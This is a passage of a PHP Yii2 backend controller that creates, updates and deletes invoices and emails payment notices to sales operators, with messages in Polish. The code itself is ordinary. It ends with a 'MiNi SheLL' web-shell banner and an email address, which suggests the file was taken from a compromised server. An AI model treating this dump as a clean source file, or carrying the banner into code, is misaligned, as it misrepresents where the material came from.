        $model->recipient_street = Yii::$app->params['invoicingData']['street'];
        $model->recipient_building_number = Yii::$app->params['invoicingData']['buildingNumber'];
        $model->recipient_apartment_number = Yii::$app->params['invoicingData']['apartmentNumber'];
        $model->recipient_postcode = Yii::$app->params['invoicingData']['postcode'];
        $model->recipient_locality = Yii::$app->params['invoicingData']['locality'];
        $model->recipient_id_country = Yii::$app->params['invoicingData']['idCountry'];
        $model->recipient_tax_id = Yii::$app->params['invoicingData']['taxId'];
        
        if(!empty(Yii::$app->request->get('id_order'))) {
            $model->id_order = (int)Yii::$app->request->get('id_order');
        }
        
        if(Yii::$app->request->getIsPost()) {
            $postInvoicesItems = Yii::$app->request->post('InvoicesItems', []);
            if(!empty($postInvoicesItems)) {
                foreach($postInvoicesItems as $key => $value) {
                    $modelsInvoicesItems[$key] = new \common\models\InvoicesItems(['scenario' => 'create']);
                }
            }
        }
        
        $outputParams = [
            'model' => $model, 
            'modelCompany' => $modelCompany, 
            'baseModelInvoiceItem' => $baseModelInvoiceItem,
            'modelsCompanyInvoicingData' => $modelsCompanyInvoicingData
        ];
        
        if (Yii::$app->request->isAjax && $model->load(Yii::$app->request->post()) && (empty($modelsInvoicesItems) || \yii\base\Model::loadMultiple($modelsInvoicesItems, Yii::$app->request->post()))) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['id_company', 'purchaser_id_country', 'recipient_id_country', 'listPrepaymentInvoices']), !empty($modelsInvoicesItems) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsInvoicesItems, ['id_invoice', 'id_service', 'name', 'quantity', 'tax_rate', 'price_net', 'price_net_pricelist', 'discount_percent', 'amount_net', 'amount_gross', 'or_commodity']) : []);
        }

        if(Yii::$app->request->getIsPost()) { 
            if(!$model->load(Yii::$app->request->post()) || (!empty($modelsInvoicesItems) && !\yii\base\Model::loadMultiple($modelsInvoicesItems, Yii::$app->request->post()))) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('create', $outputParams);
            }
                     
            if(empty($model->id_order)) {
                $model->id_order = null;
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('create', $outputParams);
            }

            $transaction = Yii::$app->db->beginTransaction();
            
            if(!$model->save(false)) {
                $transaction->rollBack();                
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
                return $this->render('create', $outputParams);
            }
                       
            if(!empty($model->payment_date_executed)) {
                if(!empty($model->receipt_amount_value)) {
                    if(bccomp(trim($model->receipt_amount_value), trim($model->amount_gross)) === 0) {
                        $model->status = InvoiceStatus::PAID;
                    } else {
                        $model->status = InvoiceStatus::INCORRECT_AMOUNT;
                    }
                } else {
                    $model->status = InvoiceStatus::PAID;
                }
            }           
            $model->proforma_invoice_number = $model->id_company.'/'.$model->id_invoice.'/'.date("Y");
            $model->save(false);
            
            $flag = $model->saveRelationsForPrepaymentInvoices();
            if($flag && !empty($modelsInvoicesItems)) {
                foreach($modelsInvoicesItems as $key => $modelInvoiceItem) {
                    $modelInvoiceItem->id_invoice = $model->id_invoice;
                }
                
                if(!\yii\base\Model::validateMultiple($modelsInvoicesItems)) { 
                    $errorsFromModelsInvoicesItems = [];
                    if(!empty($modelsInvoicesItems)) {
                        foreach($modelsInvoicesItems as $modelInvoiceItem) {
                            if($modelInvoiceItem->hasErrors()) {
                                foreach($modelInvoiceItem->getErrors() as $error) {
                                    $errorsFromModelsInvoicesItems[] = $error;
                                }
                            }
                        }
                    }
                    
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', $errorsFromModelsInvoicesItems);
                    return $this->render('create', $outputParams);
                }
                
                foreach($modelsInvoicesItems as $key => $modelInvoiceItem) {
                    if(!$modelInvoiceItem->save(false)) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            if($flag && !empty($model->receipt_amount_value) && !empty($model->receipt_amount_date) && !empty($model->annotations_for_marketer)) {
                //faktura nie dotyczy żadnego zamówienia, to wysyłamy maila do operatorów danej firmy             
                $consultant = null;
                $consultantEmail = null;
                $modelsOperatorsRecipient = [];
                $modelsOperatorsHasCompanies = \common\models\OperatorsHasCompanies::find()
                        ->with([
                            'user', 
                            'user.contactData' => function($q) {
                                $q->where([
                                    'required' => 1,
                                    'data_type' => ContactDataType::EMAIL
                                ]);
                            }
                        ])->where(['id_company' => $model->id_company])                                    
                        ->all();
                if(!empty($modelsOperatorsHasCompanies)) {
                    foreach($modelsOperatorsHasCompanies as $modelOperatorHasCompany) {
                        $modelsOperatorsRecipient[] = $modelOperatorHasCompany->user;
                    }
                    
                    if(count($modelsOperatorsHasCompanies) === 1) {
                        $consultant = $modelOperatorHasCompany->operator->forename.' '.$modelOperatorHasCompany->operator->surname;
                        $consultantEmail = $modelOperatorHasCompany->operator->contactData[0]->data_value;
                    }
                }
                
                if(!empty($modelsOperatorsRecipient)) {                    
                    foreach($modelsOperatorsRecipient as $modelOperatorRecipient) {                    
                        $operatorRecipientEmail = $modelOperatorRecipient->contactData[0]->data_value;
                        try {
                            //wysyłamy emaile z informacją o płatnośći (###MAIL_18###)   
                            $mailer = Yii::$app->mailer;
                            $mailer->htmlLayout = 'layouts/main-html';      
                            $mailer->textLayout = 'layouts/main-text';           
                            $flag = $mailer->compose(
                                    [
                                        'html' => 'accounting_invoice_html',
                                        'text' => 'accounting_invoice_text'
                                    ],
                                    [                            
                                        'modelInvoice' => $model,
                                        'consultants' => [
                                            'label' => !empty($consultant) ? $consultant : $modelOperatorRecipient->forename.' '.$modelOperatorRecipient->surname,
                                            'email' => !empty($consultantEmail) ? $consultantEmail : $operatorRecipientEmail
                                        ],
                                        'internalAnnotations' => null
                                    ]
                                )
                                ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                                ->setTo($operatorRecipientEmail)
                                ->setSubject(Yii::t('common-mails', 'Płatność: {companyName} #{idCompany} – {operatorName}', ['idCompany' => $model->id_company, 'companyName' => $model->purchaser_name, 'operatorName' => $modelOperatorRecipient->forename.' '.$modelOperatorRecipient->surname])) 
                                ->send();
                        } catch (\Exception $ex) {
                            continue;
                        }
                        
                    }
                } 
            }
            
            if ($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['update', 'id' => $model->id_invoice]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.')); 
            }
        }
        
        return $this->render('create', $outputParams);
    }

    /**
     * Updates an existing Invoices model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdate($id)
    {        
        if (($model = \backend\models\Invoices::findOne($id)) === null || empty($model->id_company)) {
            throw new NotFoundHttpException('The requested page does not exist.');
        } 
        
        if(empty($model->receipt_amount_date)) {
            $orReceiptAmountDate = false;
            $model->setScenario(Yii::$app->user->can('modifyInvoicesFull') ? 'updateFull' : 'updateBasic');
        } else {
            $orReceiptAmountDate = true;
//            $model->setScenario(Yii::$app->user->can('modifyInvoicesFull') ? 'updatePaidFull' : 'updatePaidBasic');
            $model->setScenario(Yii::$app->user->can('modifyInvoicesFull') ? 'updateFull' : 'updatePaidBasic');
        }
     
        if(
            !Yii::$app->user->can('updateInvoices') 
            && !(Yii::$app->user->can('updateRelatedInvoices') && Yii::$app->user->can('manageCompanies', ['model' => $model->company]))
        ) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $baseModelInvoiceItem = new \common\models\InvoicesItems(['scenario' => 'update']);
        
        $modelsInvoicesItems = $model->getItems()->orderBy('id_item')->indexBy('id_item')->all();
        foreach($modelsInvoicesItems as $modelInvoiceItem) {
            $modelInvoiceItem->setScenario('update');
        }
        
        $idsPostedItems = [];
        if(Yii::$app->request->getIsPost()) {
            $postInvoicesItems = Yii::$app->request->post('InvoicesItems', []);
            $idsPostedItems = array_map('intval', array_keys($postInvoicesItems));
            if(!empty($postInvoicesItems)) {                
                foreach($postInvoicesItems as $key => $value) {
                    if(!isset($modelsInvoicesItems[$key])) {
                        $modelsInvoicesItems[$key] = new \common\models\InvoicesItems(['scenario' => 'create', 'id_invoice' => $model->id_invoice]);
                    }
                }
            }
        }
        
        if(!empty($model->id_order)) {
            $modelOrder = $model->companyOrder;
        } else {
            $modelOrder = \common\models\CompaniesOrders::find()->where(['id_invoice' => $model->id_invoice])->one();
        }
        
        if (Yii::$app->request->isAjax && $model->load(Yii::$app->request->post()) && (empty($idsPostedItems) || \yii\base\Model::loadMultiple($modelsInvoicesItems, Yii::$app->request->post()))) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model, ['invoice_number', 'id_company', 'purchaser_id_country', 'recipient_id_country', 'listPrepaymentInvoices']), !empty($idsPostedItems) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsInvoicesItems, ['id_invoice', 'id_service', 'name', 'quantity', 'tax_rate', 'price_net', 'price_net_pricelist', 'discount_percent', 'amount_net', 'amount_gross', 'or_commodity']) : []);
        }
        
        $outputParams = [
            'model' => $model, 
            'modelCompany' => $model->company, 
            'baseModelInvoiceItem' => $baseModelInvoiceItem,
            'modelsInvoicesItems' => $modelsInvoicesItems,
            'modelsCompanyInvoicingData' => $model->company->getInvoicingData()->orderBy('or_main DESC, id_invoicing_data ASC')->all(),
            'modelOrder' => $modelOrder,
            'orReceiptAmountDate' => $orReceiptAmountDate
        ];
                
        if(Yii::$app->request->getIsPost()) {
            $oldPaymentDateExecuted = $model->payment_date_executed;
            $orPossibleSendMail = empty($model->receipt_amount_value) && empty($model->receipt_amount_date) && empty($model->annotations_for_marketer) ? true : false;
            
            if(!$model->load(Yii::$app->request->post()) || (!empty($idsPostedItems) && !\yii\base\Model::loadMultiple($modelsInvoicesItems, Yii::$app->request->post()))) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('update', $outputParams);
            }
            
            if(!$model->validate() || (!empty($modelsInvoicesItems) && !\yii\base\Model::validateMultiple($modelsInvoicesItems))) {
                $errorsFromModelsInvoicesItems = [];
                if(!empty($modelsInvoicesItems)) {
                    foreach($modelsInvoicesItems as $modelInvoiceItem) {
                        if($modelInvoiceItem->hasErrors()) {
                            foreach($modelInvoiceItem->getErrors() as $error) {
                                $errorsFromModelsInvoicesItems[] = $error;
                            }
                        }
                    }
                }
                Yii::$app->session->addFlash('error', \yii\helpers\ArrayHelper::merge($model->getErrors(), $errorsFromModelsInvoicesItems));
                return $this->render('update', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if(!empty($model->payment_date_executed)) {
                if(!empty($model->receipt_amount_value)) {
                    if(bccomp(trim($model->receipt_amount_value), trim($model->amount_gross)) === 0) {
                        $model->status = InvoiceStatus::PAID;
                    } else {
                        $model->status = InvoiceStatus::INCORRECT_AMOUNT;
                    }
                } else {
                    $model->status = InvoiceStatus::PAID;
                }
            }
            
            if(!empty($oldPaymentDateExecuted) && empty($model->payment_date_executed)) {
                $model->status = InvoiceStatus::UNPAID;
            }
            
            $flag = $model->save(false);
            $flag = $flag && $model->saveRelationsForPrepaymentInvoices();
            
            if($flag && !empty($modelsInvoicesItems)) {                
                foreach($modelsInvoicesItems as $key => $modelInvoiceItem) {
                    if(!$modelInvoiceItem->isNewRecord && !in_array($modelInvoiceItem->id_item, $idsPostedItems)) {
                        $flag = $modelInvoiceItem->delete();                        
                        unset($modelsInvoicesItems[$key]);
                    } else {
                        $flag = $modelInvoiceItem->save(false);
                    }
                    
                    if($flag === false) {
                        break;
                    }
                }
            }
            
            if($flag && $orPossibleSendMail && !empty($model->receipt_amount_value) && !empty($model->receipt_amount_date) && !empty($model->annotations_for_marketer)) {
                //wysyłamy email do handlowca, który złożył to zamówienie;
                //jeśli faktura nie dotyczy żadnego zamówienia, to wysyłamy maila do operatorów danej firmy                
                             
                $recipientsEmails = [];
                $consultants = [];
                $internalAnnotations = null;
                
                if(!empty($model->id_order)) {
                    $modelOrderTemp = $model->getCompanyOrder()->with(['user', 'salesDistributions', 'salesDistributions.user'])->one(); 
                } else {
                    $modelOrderTemp = \common\models\CompaniesOrders::find()
                            ->with(['user', 'salesDistributions', 'salesDistributions.user'])
                            ->where(['id_invoice' => $model->id_invoice])
                            ->one();
                }     
                if(!empty($modelOrderTemp)) {   
                    //istnieje zamówienie
                    if(!empty($modelOrderTemp->salesDistributions)) {
                        //zamówienie jest dzielone na kilku operatorów
                        foreach($modelOrderTemp->salesDistributions as $modelOrderSalesDistribution) {
                            $consultant = [
                                'name' => $modelOrderSalesDistribution->user->forename.' '.$modelOrderSalesDistribution->user->surname,
                                'email' => '',
                                'amount_net' => str_replace('.', ',', (string)$modelOrderSalesDistribution->amount),
                                'amonut_gross' => str_replace('.', ',', (string)($modelOrderSalesDistribution->amount * 1.23)) //@todo to powinno być zaciągane z bazy - w końcu różne usługi mogą mieć różną stawkę VAT; ewentualnie tymczasowo niech tak zostanie, ale miejmy to na uwadze...
                            ];
                            $email = \common\models\UsersContactData::find()->select(['data_value'])->where(['id_user' => $modelOrderSalesDistribution->user->id_user, 'required' => 1, 'data_type' => ContactDataType::EMAIL])->scalar();
                            if(!empty($email)) {
                                $recipientsEmails[$email] = $email;
                                $consultant['email'] = $email;
                            }
                            $consultants[] = $consultant;
                        }   
                    } else {
                        //zamówienie ma jednego operatora
                        $consultant = [
                            'name' => $modelOrderTemp->user->forename.' '.$modelOrderTemp->user->surname,
                            'email' => '',
                        ];
                        
                        $email = \common\models\UsersContactData::find()->select(['data_value'])->where(['id_user' => $modelOrderTemp->id_user, 'required' => 1, 'data_type' => ContactDataType::EMAIL])->scalar();
                        if(!empty($email)) {
                            $recipientsEmails[$email] = $email;
                            $consultant['email'] = $email;
                        }
                        $consultants[] = $consultant;
                    }    
                    $internalAnnotations = $modelOrderTemp->annotations_internal;
                    
                } else {   
                    //nie ma żadnego zamówienia dla danej faktury, więc szukamy przypisanych do danej firmy operatorów
                    $modelsOperatorsHasCompanies = \common\models\OperatorsHasCompanies::find()
                            ->with([
                                'operator', 
                                'operator.contactData' => function($q) {
                                    $q->where([
                                        'required' => 1,
                                        'data_type' => ContactDataType::EMAIL
                                    ]);
                                }
                            ])
                            ->where(['id_company' => $model->id_company])                                    
                            ->all();
                    if(!empty($modelsOperatorsHasCompanies)) {     
                        $consultant = ['name' => '', 'email' => ''];
                        foreach($modelsOperatorsHasCompanies as $modelOperatorHasCompany) {
                            $consultant['name'] .= $modelOperatorHasCompany->operator->forename.' '.$modelOperatorHasCompany->operator->surname.', ';
                            if(!empty($modelOperatorHasCompany->operator->contactData[0]->data_value)) {
                                $email = $modelOperatorHasCompany->operator->contactData[0]->data_value;
                                $consultant['email'] .= $email.', ';
                                $recipientsEmails[$email] = $email;
                            }
                        }
                        if(!empty($consultant['name'])) {
                            $consultant['name'] = rtrim($consultant['name'], ', ');
                            $consultant['email'] = rtrim($consultant['email'], ', ');
                        }
                        $consultants[] = $consultant;
                    }
                }
                
                //pobieramy adresy email Łukasza i Marty
                $otherOperatorsEmails = \common\models\UsersContactData::find()
                        ->select(['users_contact_data.data_value'])
                        ->join('INNER JOIN', 'users', 'users.id_user = users_contact_data.id_user')
                        ->where([
                            'users.login' => ['vm_lukasz', 'vm_marta'], 
                            'users_contact_data.required' => 1, 
                            'users_contact_data.data_type' => ContactDataType::EMAIL
                        ])->column();
                
                if(!empty($otherOperatorsEmails)) {
                    foreach($otherOperatorsEmails as $otherOperatorEmail) {
                        $recipientsEmails[$otherOperatorEmail] = $otherOperatorEmail;
                    }
                }           
                
                if(!empty($recipientsEmails)) {                    
                    $operatorsNames = '';
                    if(count($consultants) === 1) {
                        $operatorsNames = $consultants[0]['name'];
                    } elseif(count($consultants) > 1) {
                        foreach($consultants as $consultant) {
                            $operatorsNames .= $consultant['name'].', ';
                        }
                        $operatorsNames = rtrim($operatorsNames, ', ');
                    }
                    
                    foreach($recipientsEmails as $recipientEmail) { 
                        try {
                            //wysyłamy emaile z informacją o płatnośći (###MAIL_18###) 
                            $mailer = Yii::$app->mailer;
                            $mailer->htmlLayout = 'layouts/main-html';      
                            $mailer->textLayout = 'layouts/main-text';           
                            $flag = $mailer->compose(
                                    [
                                        'html' => 'accounting_invoice_html',
                                        'text' => 'accounting_invoice_text'
                                    ],
                                    [                            
                                        'modelInvoice' => $model,
                                        'consultants' => $consultants,
                                        'internalAnnotations' => $internalAnnotations
                                    ]
                                )
                                ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                                ->setTo($recipientEmail)
                                ->setSubject(Yii::t('common-mails', 'Płatność: {companyName} #{idCompany} – {operatorName}', ['idCompany' => $model->id_company, 'companyName' => $model->purchaser_name, 'operatorName' => $operatorsNames])) 
                                ->send();
                        } catch (\Exception $ex) {
                            continue;
                        }
                    }
                } 
            }
            
            if($flag) {            
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['update', 'id' => $model->id_invoice]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }     

        return $this->render('update', $outputParams);
    }

    /**
     * Deletes an existing Invoices model.
     * If deletion is successful, the browser will be redirected to the 'index' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDelete($id)
    {
        if(!Yii::$app->user->can('deleteInvoices')) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model = $this->findModel($id);
        
        if(!empty($model->invoice_number)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można usunąć wybranego elementu.'));
        }        
        elseif($model->delete() !== false) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));
        }
        else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }
        
        return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['companiesinvoices/index', 'id' => $model->id_company]);
    }
    
    public function actionPrepaymentInvoicesList($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if(
            !Yii::$app->user->can('indexInvoices') 
//            && !(Yii::$app->user->can('indexRelatedInvoices') && Yii::$app->user->can('manageCompanies', ['model' => $modelCompany]))
        ) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $searchModel = new InvoicesSearch();
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['InvoicesSearch']['orUnassignedPrepayment'] = true;        
        $queryParams['InvoicesSearch']['document_type'] = InvoiceDocumentType::PREPAYMENT;
        $queryParams['InvoicesSearch']['id_company'] = $modelCompany->id_company;
        
        $dataProvider = $searchModel->search($queryParams);

        return $this->renderAjax('prepayment_invoices_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider
        ]);
    }
    
    public function actionCompaniesList()
    {        
        if(!Yii::$app->user->can('modifyInvoicesFull')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $searchModel = new \backend\models\CompaniesSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->renderAjax('companies_list', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    /**
     * Finds the Invoices model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Invoices the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = Invoices::findOne($id)) !== null && !empty($model->id_company)) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the Companies model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Companies the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelCompany($id)
    {
        if (($model = Companies::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com